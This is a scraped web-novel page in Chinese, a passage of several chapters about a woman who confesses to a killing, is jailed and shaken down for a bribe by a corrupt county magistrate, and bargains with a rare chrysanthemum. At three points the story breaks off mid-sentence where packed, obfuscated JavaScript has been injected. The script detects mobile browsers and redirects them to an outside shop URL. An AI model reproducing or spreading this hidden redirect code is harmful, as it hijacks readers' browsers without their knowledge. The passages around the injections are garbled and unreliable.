“这事跟郭英没关系,是我杀了赵雄!”姜佑安说道。 贾濂一拍惊堂木,“你们以为这里是菜市场吗?闹哄哄的像什么!一个一个说!姜佑安,你先说!你是怎么杀的赵雄?” “那天,我埋伏在村口,看见赵雄回来了,就把赵雄引到了河边,我当时带着弓箭,朝他射了两箭,一支箭被我拔出,另一支断在了赵雄身上,之后,我趁他不能动弹,就把他推进了河里淹死了。”姜佑安说道。 “大人,姜佑安所说,和赵雄的死法完全相符,看来,姜佑安就是凶手。”唐思恭说道。 “不是的!是我从赵雄家里把他骗出去的,也是我在河边杀了他。”郭英说道。 “你?你哪来的弓箭?”唐思恭问道。 “去年我常见姜佑安在家附近的那座山上打猎,我也常去捡蘑菇,在山里捡到了她的一支箭,为了混淆视听,我故意把那支箭留在了赵雄身上。”郭英说道。 唐思恭看了看贾濂,又问道:“这么说,你是打算嫁祸给姜佑安?” “是,我本意如此,但今天看到捕快带走了她,我就猜想是因为赵雄的事,赵雄是我杀的,我不想牵扯无辜的人,该被抓的是我。”郭英说道。 贾濂眉间的皱纹逐渐加重,“赵雄真是你杀的?” “是我,我那天一直在赵雄家里等着,直到赵雄回了家,我才带他去了河边,赵雄的母亲,徐奶奶可以给我作证,当天,我是和赵雄一起离开她家的。”郭英说道。 “大人,赵雄的母亲也在县衙,要不要传她来?”唐思恭问道。 贾濂想了想,才说道:“先传她来问问吧。” 过了一阵子,差役把徐燕带了来,徐燕拄着拐站走进来,看着堂下的姜佑安和郭英,亲切地问候着,“孩子,你们怎么也来了?是为了我儿子的事吗?真是麻烦你们了,还到这里来一趟。” 两人都略微低着头,不曾抬头看她。 “老人家,这两位姑娘,你都认识吗?”唐思恭问道。 徐燕微笑着,眼角的皱纹加深了许多,“认识,这位是郭姑娘,她常来看我,这位是姜姑娘,她也常记挂着我这个老婆子,两个都是好孩子。” “你儿子赵雄死的前一天,你还见过她俩是吧。”贾濂问道。 “是,我见过。”徐燕答道。 “那赵雄回去的当天,你见过谁?”贾濂问道。 “那天是郭姑娘在,还有一个姑娘来找姜姑娘,没找到,就回去了。”徐燕说道。 “赵雄回来后,是和郭姑娘一起出去了,之后就再没有回来,是吗?”贾濂问道。 徐燕疑惑地看着贾濂,“大人这是什么意思?我都说了,郭姑娘肯定不是杀害我儿子的凶手。” “老人家,您还不知道呢,郭姑娘已经承认了,是她杀的赵雄。”唐思恭说道。 贾濂斜了唐思恭一眼,唐思恭会意地向后退了一步,不再言语。 “是郭姑娘?不可能!不可能!”徐燕低头一想,“不是她,是个男人,我不是跟你们说了吗?是一个高大的男人把我儿子叫出去的,你们不是跟我说能抓住那个男人吗?” “老人家,你不想为你儿子报仇吗?”贾濂说道。 徐燕敲打着手上的拐杖,大声喊道:“不想,我不想!我不相信是郭姑娘,这跟郭姑娘无关!我不告了!我要回家!让我回家!” “老人家,你再不配合我们办案,小心我治你的罪!”贾濂怒斥道。 “知县大人不要为难她,罪我都认,请您把我抓起来,释放姜佑安。”郭英说道。 “知县大人!赵雄身上的箭是我射的,郭英没有弓,也不会射箭,人是我杀的!”姜佑安说道。 “我会射箭,赵雄身上的箭是我射的,人是我杀的!”郭英说道。 “大人,曾捕快把我的弓箭带到了县衙,大人可以命人把弓箭拿来,让郭英一试便知。”姜佑安说道。 徐燕越听越着急,连忙说道:“不是她们,不是她们!我不告了!我儿子是罪有应得,他该死!大人,你就让我回家吧,我不告了!” 贾濂拍了一下惊堂木,“公堂之上,岂容尔等喧哗!来人把徐燕带下去。” “是!”两边的衙役齐声响应,当即就有两人走出来,把徐燕架了下去。 “曾景阳,把姜佑安的弓箭拿来。”贾濂又吩咐道。 “是。”曾景阳应了一声,不多会儿便拿着弓箭走上堂来,他把弓递给郭英,郭英拿起弓,却根本拉不开。 “我不会射箭,那支箭是我扎进赵雄身体里的。”郭英辩解道。 贾濂看了唐思恭一眼,唐思恭当即上往贾濂身边走了一步,“大人,据仵作所说,箭是射进身体里的,这姑娘连弓都拉不开,不会有力气能把箭头扎得那么深,再说赵雄是个高大的男人,不可能被一个姑娘近身制服。” 贾濂点了点头,“嗯,你说的有理,如此说来,她是在撒谎,人还是姜佑安杀的。” “大人明鉴,人确实是我杀的。”姜佑安说道。 “不是!是我把赵雄骗到河边去的,人是我杀的。”郭英说道。 “你们当本官是好蒙骗的吗?此事定是你们二人合谋,一个把人骗到河边,一个人动手射箭杀人,赵雄的死,是你们二人所为。”贾濂厉声说道。 “人不是郭英骗出来的,是我的在村口遇到赵雄,此事和郭英无关。”姜佑安说道。 “你为何要杀赵雄?”唐思恭问道。 “因为他敲诈勒索我家的钱财,我为了永绝后患,才把他杀了。”姜佑安坦然说道。 “据曾景阳的调查,去年九月十六日,也就是赵雄死的那天,你并没有丢失箭支,怎么会留下一支箭在赵雄身上?”唐思恭问道。 “是我为了脱身撒了谎,我在十六日那天确实丢失了一支箭。”姜佑安答道。 “郭英,你又是因为什么要杀赵雄?”唐思恭又问道。 “你还问这些做什么?她两人都承认了,直接定罪就好了!”贾濂不耐烦地说道。 “是。”唐思恭低下头,“那就判她们二人死罪,大人以为如何?” 姜佑安一听就急了,“大人!人是我杀的!断在赵雄身上的箭头也是我的,你有什么证据定郭英的罪?” “是你断案,还是我断案?我说她有罪就是有罪!”贾濂蛮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128689|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 横地说道。 “大人。”唐思恭在一旁轻声说道:“姜佑安、郭英和徐燕各执一词,目前没有证据能证明是姜佑安和郭英合谋,咱们不能以推断定罪。” 贾濂的眉头皱起,“那依你说,应该如何定罪?” “姜佑安杀害赵雄,案情已经明了,大人不妨先定了姜佑安的罪,郭英就暂且关押,之后再细细审问。”唐思恭说道。 “好。”贾濂拿定了主意,向堂下看去,“姜佑安杀害赵雄,证据确凿,犯人供认不讳,判处私刑,郭英疑似同党,暂且关押,等候审讯,退堂!” “知县大人!”姜佑安见贾濂从椅子上站起,忙快步上前,“郭英是无辜的,请大人放了她!” 一旁的衙役拥上来,让姜佑安画了押,把姜佑安和郭英带出了大堂,往监狱去。 姜佑安和郭英被带到监牢里关押起来,两人的单间相隔不远,姜佑安生气地把着栅栏,冲郭英喊道:“谁让你改口的!你咬死不认不就好了?” “我怎么说,跟你没关系。”郭英坐在角落里,冷冷地说道。 “你还在生我气?你要是生气,不来不就好了?”姜佑安喊道。 郭英低下头,“我说了,跟你没关系,你省些力气吧。” 姜佑安兀自喋喋不休地劝告郭英改口,那些刑具会让她生不如死,反正知县已经定了罪,何必再搭进去一个人。 郭英一直低着头,没有理会姜佑安。 小窗透进来的光线逐渐暗淡,有狱卒进来送晚饭,依旧是豆饭和菜叶汤,姜佑安情绪低落,感觉嘴里发苦,豆饭干硬,让人难以下咽,她只吃了两口,就放了回去。 狱卒收回碗筷后,天很快黑了下来,姜佑安渐渐觉得阴冷刺骨,她缩到席子上,用硬邦邦的被子裹住身子,被子上浓重的腐烂发霉的味道让她恶心得想吐,但好在,裹上被子就没有那么冷了,起码不会被冻死。 姜佑安浑浑噩噩地睡着了,梦里她不是在被上刑,就是在被砍头,有时郭英也在她身旁,有时她到处找都找不到郭英在哪里,半夜醒来,她看见小窗的窗台上有一抹淡淡的月光,盯着那光,她恍惚间忘了自己身处何处。 为什么自己的房间会这么黑?为什么不点蜡烛?为什么房间里的气味这样难闻?下人没有好好打扫吗?她想不明白,低下头又睡着了。 天亮后,姜佑安一睁眼就看到自己在牢房里,她慢慢想起了昨天的事,自己已经被判了死刑,可能会在秋后处斩,行刑之前,就要在牢里做这种日子了吗? 姜佑安从被子里出来,她闻了闻自己的手臂,衣服被捂了一晚,肯定会散发出被子的臭味,但牢房里气味太杂,她也不确定是不是自己的身上臭。 姜佑安站起身,抖抖手,伸伸腿,活动活动筋骨。 太阳升起,牢房里比晚上暖和了许多,姜佑安这才强烈地感觉到肚子饿了,昨天都没吃什么正经东西,今天就算是豆饭也得全都吃下去,不然,牢房这种条件,可能撑不到行刑,身子就先垮了。 姜佑安正想着,就见狱卒打开牢门来送饭了,每人一份,却独独没有姜佑安的。 “大哥,我的饭呢?”姜佑安问道。 “我看你昨晚的饭有没吃完,肯定是牢里的饭不合你的胃口,既然你不爱吃,那我也就不必送了,省得浪费粮食。”狱卒说完,不给姜佑安辩解的机会,走出去关上了牢门。 72. 入狱 “大哥!我吃!你送什么我吃什么!我保证不挑了!”姜佑安冲着牢门喊道。 门外没有任何声音,差役已经走了。 姜佑安捂着肚子,听着别人吃饭的声音咽口水,昨天要是吃了豆饭,现在也不会这么饿了,她很是后悔,不好吃有什么要紧,能填饱肚子就好。 “什么好吃的难吃的,只要能填饱肚子就行了。”姜佑安突然想到那日去游春,她本想把受潮的绿豆糕扔了,袁竹却坚持要把绿豆糕吃掉,还说了这么一句话。 是啊,现在要是有受潮的绿豆糕摆在她面前,她肯定不会嫌难吃,挨饿的滋味真是不好受。 吱呀一声,牢房大门又开了,姜佑安正想再要一份饭,却见进来的是曾景阳。 曾景阳打开了牢门,“姜佑安,知县大人要见你,出来吧。” 姜佑安往郭英那边看了一眼,见她正担心地看着自己,姜佑安冲她笑了笑,“我已经认罪了,知县大人应该不会为难我的” 郭英低下头,没有说什么。 曾景阳领着姜佑安一路来到了知县居住的内宅里,在西侧一个单独的房屋门前,他向内扬声报道:“大人,姜佑安带到。” “让她进来,你下去吧。”贾濂说道。 “是。”曾景阳看了姜佑安一眼,示意她自己进去,他则转身出去了。 姜佑安抬头,见门上匾额写着爱莲居三个字,她走进去,见里面是三间房,中间是待客厅,一个侍女带着姜佑安进了左侧的房间,房内中央摆着一个八仙桌,桌上有着各式早点,贾濂一人坐在桌边,正低着头吃饭。 姜佑安闻着饭菜的香味,咽了一下口水。 “你见了本官,为何不行礼?”贾濂头也没抬地问道。 姜佑安走过去,行了一礼,还未开口,贾濂就训斥道:“身上臭烘烘的,别往我跟前凑!” 姜佑安直起身子,向后退了两步。 “再远点儿!饭菜都让你弄得不香了。”贾濂毫不客气地说道。 姜佑安又向后退了两步,勉强压抑着火气,“你找我来,有什么事?” 贾濂放下了筷子,“无礼的刁民,连一声大人都不会称呼吗?” “我怕你这样的小人,担不起大人的称呼。”姜佑安说道。 “死鸭子嘴硬。”贾濂拿帕子擦了擦嘴,悠悠然说道:“你难道还不明白,你的生死,就在我的一念之间。” “你已经判了我死罪,难道我还能活?”姜佑安问道。 “当然能,赵雄不过是个地痞无赖,死了就死了,他亲娘都不想告了,我也不会强求。”贾濂说道。 姜佑安不知道他打的什么主意,“黎千秋肯放过我?” “看来你也知道自己得罪的是什么人。”贾濂微笑着捋了捋他的山羊胡,眼睛里现出精光,“他只是想让你吃点儿苦头,只要你保证以后低调行事,他不会置你于死地,可你身上背的是人命案,如今案子已经审结,轻易是不好翻案的。” “你想要什么?”姜佑安问道。 “姑娘是聪明人,我若是为了此事上下打点,也是要费不少精力的,尤其是知府大人那里,不塞些银子过去,知府也不会为我们做事。”贾濂微笑着说道。 “案子刚刚审结,恐怕还没有送到知府那里去吧,你又何必扯出别人来。”姜佑安不屑地说道。 “虽然还没送到他那里,但终究是要给他过目的,而且,我若是得了银钱,哪能不孝敬他老人家。”贾濂说道。 “你自上任以来,应该给他送了不少好处了吧,他怎么还没有提拔你?”姜佑安问道。 贾濂听了,顿时脸色一黑,“官场上的事,是你能过问的吗?现在说的是你能不能花钱买命的事!” 姜佑安笑了笑,“不知我这条命,能值多少钱?” “按说一个花农而已,五十两也就够了,不过,我听说你在锦标社的赌局里赢了一百多两,我要一百两,你应该能拿得出来吧。”贾濂说道。 “你倒是挺务实的,知道要多了,我也拿不出来,不过,不好意思,别说一百两了,一两银子,我都不想给你。”姜佑安说道。 “你别着急回答。”贾濂微微一笑,手指着桌上的饭菜,“牢房里的饭菜不好吃吧,正好这些我也吃不完,你也一起吃点儿?” 姜佑安看着桌上的饭菜,嘴里口水泛滥,好饿,那粥还在微微冒着热气,色泽莹润,那鸡看起来就很肥嫩,还有那米糕,一定是柔软松香,还有那小包子,肯定是肉馅儿的,咬一口,嘴里就充满了肉汁。 姜佑安闻着桌上的香味,不停地咽着口水,眼神里都是渴望,她往前走了两步,来到了桌边。 看到姜佑安靠近,贾濂站起身来,拿帕子遮掩着口鼻,向后退了两步,“只要你答应,不光有这些东西吃,我还能尽快放你回家,你就不用在牢里受苦了。” 姜佑安看着贾濂嫌弃的样子,很想挺直腰板,告诉他自己不会吃他的剩饭,但她实在饿得不行了,她紧盯着桌上的饭菜,舔了舔嘴唇,“我没有一百两银子,可以先赊账吗?我回去取,有多少我都给你。” “你当我是做生意的?还要赊账!我告诉你,整整一百两,钱拿来我才能放人!”贾濂说道。 “我赢的那一百两都是春天的事了,早就花的不剩什么了,你要钱,总得给我点时间吧。”姜佑安说道。 “我跟你好好说,你倒要跟我讨价还价!”贾濂向外喊道:“来人!” 门外有人来到了门口,应道:“大人有何吩咐。” “带犯人服役去!”贾濂说道。 “是。”差役进来,拉着姜佑安的胳膊往外走。 “好好干几天活,再决定答不答应吧,反正我有的是时间。”贾濂说道。 姜佑安见贾濂翻脸了,推开差役,一把抓起两个小包子,先塞了一个到嘴里。 也不知是饿极了,还是县衙的厨子厨艺特别好,姜佑安觉得那包子特别好吃,胡乱嚼了几下,就把另一个也塞进了嘴里。 贾濂被姜佑安的行为震惊,骂道:“真是个无赖的乞丐,快把她带走!” 差役抽出腰间的铁尺,打在了姜佑安的脊背上,姜佑安吃痛,忙向旁边躲闪,本还想再抢两个吃的,此时也只能投降,“我走,我跟你走,别打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你也是受了委屈吧。”女囚轻声安慰道,“慢点吃,你这样一边吃一边吃,容易呛着。” 姜佑安没有回答,只埋头吃饭,女囚又把她的菜汤递了过来,“喝点汤吧,别噎着。” 姜佑安接过去,咕嘟咕嘟一口气喝完了汤,女囚又把她的饭碗递过来,“这个你也吃了吧。” 吃了半碗豆饭,又喝了半碗汤,姜佑安已经有了个半饱,她有些不好意思,“我都喝了你的汤了,这饭本来就少,你自己吃吧。” “我是等死的人了,少吃一顿,没什么的。”女囚固执地伸着手,“看你这样子,是出去干活了吧,饿着肚子怎么能行。” 姜佑安抹了抹脸上的泪,向女囚深深鞠了一躬,“谢谢姐姐。” 女囚笑了笑,“谢什么,拿去吃吧。” 姜佑安接过碗来,三五下就把半碗豆饭填进了肚子里,把碗还给了她,她把自己的碗收了,又把郭英的碗筷送回到她的牢房里。 “郭英,谢谢你。”姜佑安把着栅栏说道。 郭英坐在地上,低着头,“你如今这个样子,都是我造成的,你不用谢我。” 73. 转机 姜佑安回席子上坐了,“人是我要杀的,就算没有遇见你,我也想要杀了他。” “你们,真的杀人了?”旁边的女囚有些吃惊。 “姐姐,我叫姜佑安,还没问姐姐的名姓。”姜佑安向女囚问道。 “我姓钟,别人都叫我钟二娘。”钟二娘说道。 “你没有名字?”姜佑安问道。 钟二娘在栅栏边坐了,“我爹娘都不识字,也不会起名,我排行老二,小时候叫二丫头,长大了就叫二娘。” “你看起来老实本分的,是犯了什么事被抓的?”姜佑安又问道。 “我也不知道犯了什么事,不过反正是死罪。”钟二娘说道。 这边正说着话,牢房大门打开了,差役来收走了碗筷,关上了牢房门,不一会儿,牢门又开了,唐思恭走了进来。 袁竹、戴庭芳和龙世蓉三人跟着走了进来。 袁竹一眼就看到了姜佑安,忙快步走到栅栏边,“姜佑安,你没事吧!他们有没有对你用刑?” “我说没有用刑,就是没有用刑,你怎么还不信呢?”唐思恭扬声说道,“人你们也见到了,赶紧回去筹钱吧。” 龙世蓉拿出一块银子塞到唐思恭手上,笑着说道:“多谢县丞大人带我们进来,这点银子给您喝茶用,您通融通融,让我们跟她说说话吧。” 唐思恭手上掂量着银块,脸上才有了笑意,“行,你们慢慢说,说完了,往门口的人带你们出去就是了。” 唐思恭走了出去,大门便关上了,牢房门顿时黑了不少。 一见袁竹进来,姜佑安便走到了栅栏前,她住着栅栏问道:“你们怎么来了?筹什么钱?那个狗官是不是找你们要钱了?” “是,贾大人要我们准备五百两,钱到了,就可以放人。”戴庭芳说道。 “五百两!?”姜佑安大吃一惊,“这狗官真是个强盗!” “那个叫赵雄的,真是你杀的?”龙世蓉走过来问道。 “是我杀的,我已经认罪了。”姜佑安说道。 袁竹气得拍了一下姜佑安的胳膊,“你怎么能认罪呢!反正他们也没有证据,你就该咬死不认才对!” “啊。”姜佑安痛呼一声,收回了胳膊。 “你怎么了?他们是不是用刑了?”袁竹紧张地问道。 “没事,只是挨了几鞭子。”姜佑安勉强笑道:“你也知道这里是会用刑的,我去刑讯房看了,那些刑具,我一个都挨不过,为了免受皮肉之苦,只好招认了。” “你都招认了,他们为何还要打你?”戴庭芳问道。 “为了让我多吃些苦头,好心甘情愿地把钱给他们。”姜佑安说道。 “姜姑娘。”戴庭芳眼里满是关心,“你也太冲动了些,赵雄就算抢了你们的财物,那也是罪不至死的,你何苦为了这样一个烂人,把自己搭进去。” “正因为他是个烂人,我才要杀了他,我报官没人管,杀了他,那狗官倒要我为他偿命了,戴公子,你还要在这里责怪我,难道我不杀他,他来一次,我给他一次钱,就皆大欢喜了?”姜佑安生气地说道。 “我不是这个意思。”戴庭芳解释道:“我的意思是,纵然他有罪,你只是个平民百姓,没有审判他处死他的权利,就算这次我们掏钱把你救出去了,那下次又该如何?” “是狗官无所作为,本该他审判、他处死的犯人,在外面为非作歹,我既然知道了,还深受其害,我就要审判他!处死他!他活着,就是对朝廷法度的藐视,就是对其他遵纪守法的百姓的侵害!”姜佑安大义凛然地说道。 戴庭芳左右看了看,声音低了下来,“我明白你的感受,只是你做这样的事,也是违法的。” 姜佑安眉头一皱,“戴公子,官场是什么样子,你再清楚不过了,为何还期望一个投机取巧、整天只想着升迁的官,能为民做主?” “说的是,贾濂才不管违不违法,我听我爹说,他为了巴结知府好调离这里,不知道送了多少礼,可知府直到离任,都没管他的事,现在新知府到任了,他估计正在筹钱去巴结新知府,才会狮子大开口,一下子就要五百两。”龙世蓉说道。 “早上他还说一百两就够了,估计是看你们有钱,才涨到了五百两。”姜佑安看向戴庭芳,“戴公子,贾濂要五百两赎我的罪,依你看,这是不是违法?该不该告发他?知府大人又会不会管这档子事?”姜佑安问道。 戴庭芳想了想,“姜姑娘说得有理,也许我们该做的不是筹钱,而是告到知府那里去,好让他知道,贾大人利用职权,贪污受贿。” “贾濂要是被处理了,赵雄的案子也能重新审吗?”袁竹问道。 龙世蓉摇了摇头,“这不太可能,当官的都是多一事不如少一事,轻易不会给人翻案,况且那位王知府刚从京城调过来,下面的人都还没摸清他的脾气,连咱们贾知县都送礼无门,我们几个平民百姓,如何能见到知府向他鸣冤?” 戴庭芳沉默了,他可以通过父亲的关系见到贾知县,却也没办法见到知府。 “既然这样,我还是回去筹钱吧。”袁竹说道。 “你能筹到多少?”龙世蓉问道。 “我手里有十多两,姜佑安家里还有四五十两,把房子和地都买了,估计还能有个五六十两。”袁竹说道。 “这差得太多了,我还是回去求求我爹吧。”龙世蓉说道。 “袁姑娘,房子和地都卖了,你们以后还怎么生活?你先别卖,我回去再想想办法。”戴庭芳说道。 “袁姑娘!我家里有一套我自己绣的嫁衣,拿出去卖,也能卖个几十两,你去我家取来卖了吧。”郭英说道。 袁竹听了,吃了一惊,“郭姑娘,你怎么也在这里?” “她跟我抢着要认罪,到现在还没有定罪,估计也需要花钱来赎,她的嫁衣,我们不能要。”姜佑安向龙世蓉问道:“你刚才说新知府是京城来的,他姓王是吧?” “对,我爹是这么说的。”龙世蓉答道。 “令尊有没有说过,这个知府的全名是什么?”姜佑安问道。 龙世蓉皱着眉头回忆道:“好像说过,是叫王石头还是王镜子来着。” “什么石头、镜子的,一个大官,怎么会取这样的名字。”袁竹说道。 姜佑安从栅栏里伸出手,激动地抓住了龙世蓉的胳膊,“是不是叫王世镜?” “嗯,好像是,又好像不是。”龙世蓉的记忆模糊,不是很确定。 “王世镜?不可能吧,我在京城时,他还是一省巡抚,颇受皇上宠信,怎么会到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151069|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里来做知州?”戴庭芳不太相信。 姜佑安松开了龙世蓉的胳膊,“君恩如流水,官员的贬黜升迁,都在皇上的一念之间,没什么可奇怪的。” “你认识王世镜?”龙世蓉问道。 “不认识,但我听说过他。”姜佑安看向袁竹,“那两盆金镯卧雪开了吗?” “开了,你要我把那两盆花拿去卖了吗?”袁竹问道。 “不,不要卖,花田和房子也不要卖,你现在就回去,把其中一盆带到县衙里来。”姜佑安说道。 “不卖房卖地,贾濂要的银子怎么办?”袁竹着急地问道。 “银子的事不用管,你先把花拿过来,记住,就拿一盆来,龙社长,你能不能把刚才那位县丞叫过来,我有话要跟他说。”姜佑安说道。 “还有其他要帮忙的吗?”戴庭芳问道。 “先不用,你们都回去吧,袁竹,你告诉小阮、长风还有杨恩,我很快就能出去,让他们别担心。”姜佑安说道。 袁竹应了一声,就急匆匆回去拿菊花了,戴庭芳和龙世蓉也走了出去,不多会儿,唐思恭走了进来。 “姜佑安,你有什么话要说?”唐思恭问道。 “县丞大人,我想问问,定州现任知府,是不是叫王世镜?”姜佑安问道。 “是啊,你问这个做什么?”唐思恭说道。 “我猜知县大人对这位从京城来的王知府不太了解,所以送礼无门,请县丞大人替我告诉知县大人一声,我可以为知县大人解决这个烦恼。”姜佑安说道。 唐思恭眼睛眯起,怀疑地看着姜佑安,“你认识知府大人?” 姜佑安微微一笑,“这事,我还需亲自跟知县大人讲。” 唐思恭想了想,没说什么,转身离去,监牢的大门随之关上。 “姑娘,你不是在吹牛吧?你真的能帮到知县大人?”钟二娘站在栅栏边问道。 “这有什么好吹牛的。”姜佑安慢慢挪到席子边坐下,“不过我也是赌一把,五百两银子我没有,万一赌赢了,说不定我就可以出狱。” “我看你还是老老实实筹钱的好,要是惹怒了知县大人,你只会变得更惨。”钟二娘劝告道。 “知县应该也找你要钱了吧,你怎么不筹钱出去?”姜佑安问道。 “我应该是出不去了。”钟二娘神色暗淡,“可能知县大人也知道我没有钱吧,他没有找我要钱。” 牢房门突然开了,一个差役走了进来,“姜佑安,知县大人要见你。” 差役打开了牢门,把姜佑安带出牢房,来到了贾濂面前。 这里是贾濂的书房,他正坐在书桌之内,手捧着茶杯喝了一口热茶,抬头看向姜佑安,“听说你有办法让我让知府大人收下我送的东西?” “是,大人斡旋许久,都没有被调走,想必是没有其他门路,只能对知府投其所好,如今这个知府是京城来的,什么好东西都见过,要给他送礼,恐怕是不容易。”姜佑安语带嘲讽。 贾濂皱着眉头放下了茶杯,“这些就不必说了,你就说说他能收什么礼。” 姜佑安笑了笑,“我对王大人略有了解,知道他不喜金银古董,唯爱一样东西。” 贾濂着看姜佑安,语气中有些不耐烦,“什么东西?” 74. 交易 “花!王大人这一辈子,最喜爱的就是花,不过,常见的品种他不爱,越是稀有的,他越喜欢。”姜佑安说道。 “你不会是因为自己是个花农,就用花来糊弄我吧。”贾濂警惕地说道。 “糊弄不糊弄的,你试试就知道了,我有一盆菊花,是举国难见的稀世珍品,名叫金镯卧雪,我已经让袁竹回去取了,不久就能送到你手里,你可以拿着这盆花去见知府,他要是不收,我随你处置,他若是留下了,你就要放我回去,免了我和郭英的罪。”姜佑安说道。 贾濂将信将疑,“不过是一盆花,能有多珍贵,知府大人能看得上这种东西?” “别人不好说,王世镜一定会收的。”姜佑安信誓旦旦地说道。 “你还敢直呼知府大人的名讳,你认识他?”贾濂问道。 “不认识,这些是刚才戴庭芳来探监的时候告诉我的,你尽可以一试,反正你在知府那里碰壁也不是一次两次了,于你来说,也没有什么损失。”姜佑安说道。 贾濂想了想,觉得姜佑安说得有理,让人去通知门子,有人送菊花来,就把人连同菊花一并带到他跟前来,他要亲自看看是什么名贵的花。 “等花送来,我明日就去见知府,后天就能见分晓,你就在牢里再住几日吧。”贾濂板着脸说道。 “这是自然,不过,烦请知县大人告诉狱卒一声,送饭的时候不要忘了我的饭。”姜佑安说道。 贾濂眨了眨眼,倒也应了下来,“我会交代下去的。” “多谢大人。”姜佑安说完,转身向外走去。 “带她回牢房。”贾濂扬声说道。 “是。”门口的差役进来,拽着姜佑安的胳膊往外走。 “哎!等一下!”姜佑安回过头来,“我还有一件事想问。” 贾濂十分烦躁地应道:“什么事?” “我隔壁牢房的钟二娘,她是犯了什么罪才被关起来的?”姜佑安问道。 “你问她做什么?”贾濂问道。 “没什么,就是好奇,我听说她也是死罪,她看起来老实巴交的,究竟犯了什么罪?”姜佑安问道。 “知人知面不知心,死刑犯的话,你可不能轻信,她看着老实,却下药毒死了自己的婆婆,还差点毒杀她丈夫,心思着实狠毒。”贾濂说道。 “有这种事?”姜佑安大为震惊。 “别的人事,不是你该操心的,会牢里带着去吧。”贾濂一挥手,差役就把姜佑安带了出去。 见姜佑安回到了牢里,郭英连忙站了起来,“怎么样?你的死罪能免吗?” “这个嘛,要等到后天才能见分晓。”姜佑安在席子上坐了下来。 “你让袁竹去取菊花,是要知县把菊花送给知府?”郭英问道。 “对,不过,知府会不会收,还不好说。”姜佑安说道。 “要是收了,你就能出去了吗?”郭英又问道。 姜佑安点了点头,“他已经答应我了。” 郭英坐了下去,“现在只能等了。” 牢房里安静下来,姜佑安往旁边看去,见钟二娘正躺在席子上看着她,光线昏暗,她分不清那目光是善意还是冷漠。 姜佑安往旁边挪了挪,小声唤道,“钟二娘,你睡了吗?” 钟二娘爬起来,走到栅栏边蹲下,小声地回道:“怎么了?身上疼吗?” 姜佑安忍着身上的疼痛,也去了栅栏边蹲下,“你婆婆,是不是对你很坏?” “我婆婆?她对我挺好的,只可惜,她突然生了重病,就没了。”钟二娘有些遗憾地说道。 “你婆婆是病死的?不是被毒死的?”姜佑安惊讶地问道。 “是病死的,请大夫来诊了脉,开了药,可还是越来越严重,最后连气都喘不出来了。”钟二娘说道。 “那你丈夫呢?他对你好吗?”姜佑安问道。 “他,他不太理我,不过也还行,都是凑合着过日子。”钟二娘说道。 姜佑安皱起了眉头,“你不知道你是因为什么被抓的?” 钟二娘摇了摇头,“不知道,当时官差大哥说有一个案子需要我配合,我就跟着来了,然后在一个房间,有人问了我家里有几口人,都分别叫什么,然后就拿出来一张纸,让我摁手印,我就摁了。” “那纸上写了什么?”姜佑安问道。 钟二娘想了想,“好像是写着我家几口人那些话,他们说,都是按我说的写的,我也不认识。” “摁了手印之后呢,他们没说你被犯的是什么罪?被判了什么刑罚?”姜佑安追问道。 钟二娘又摇了摇头,“没说,他们就说先让我在这里住着,然后过几天,又说我被判了死罪,我问为什么,也没人告诉我。” 姜佑安咬着下唇,暗自思索了一阵,“你丈夫有过来看过你吗?” “没有,他本来就不喜欢我,不可能来救我。”钟二娘说道。 “你家里人呢?也没人来看你?”姜佑安问道。 “我家不是本地的,我丈夫来这里做生意,时间久了,就让我和婆婆都搬了过来,我被抓的事,估计我爹娘都还不知道。”钟二娘叹了口气,“不过,不知道也好,我爹娘都是乡下人,什么都不懂,我不想让他们为我担心。” “我看是你丈夫在外面有了相好的吧。”另一间牢房里的女囚突然插嘴道。 “他。”钟二娘皱起了眉头,低头抠着手指,“好像是有,之前他提过,他认识的一个女的,说是屁股大,好生养,我生不出孩子,他要休了我娶那个女的,我婆婆没同意,他就没再说起了。” “这就是了,说不定你在这里坐牢,那女人已经住进你家里,睡在了你床上。”那女囚说道。 “这,我,我被判了死罪,出不去了,他另娶也是应该的。”钟二娘低着头说道。 那女囚气得走到了栅栏边,冲着钟二娘大声说道:“哎呀!你怎么还不明白!这姑娘说你婆婆是被毒死的,很明显,是你丈夫诬赖你杀死了婆婆,让你坐牢,他好娶别的女人。” “不会的。”钟二娘站了起来,喃喃道:“他不会这么做的,他要娶别的女人,我不会拦着他的,他没有必要这么做。” “他就是又想做恶人,又想要好名声,诬赖你入狱,他就什么错都没有了,不用被别人说逼走了发妻,也不用和他相好的一起远走他乡,就继续在这里过他的好日子,多好的算盘啊!你这个傻女人,除了他,还有谁会在你被关进大牢后,享受到好处?”女囚说道。 姜佑安也站起身来,“我看这位姐姐说的有理。” 那女囚翻了个白眼,“不用叫得那么亲,叫我刘婉就好。” “我也觉得正像刘婉所说,你进来没有什么名头,也不告诉你犯了什么罪,直接 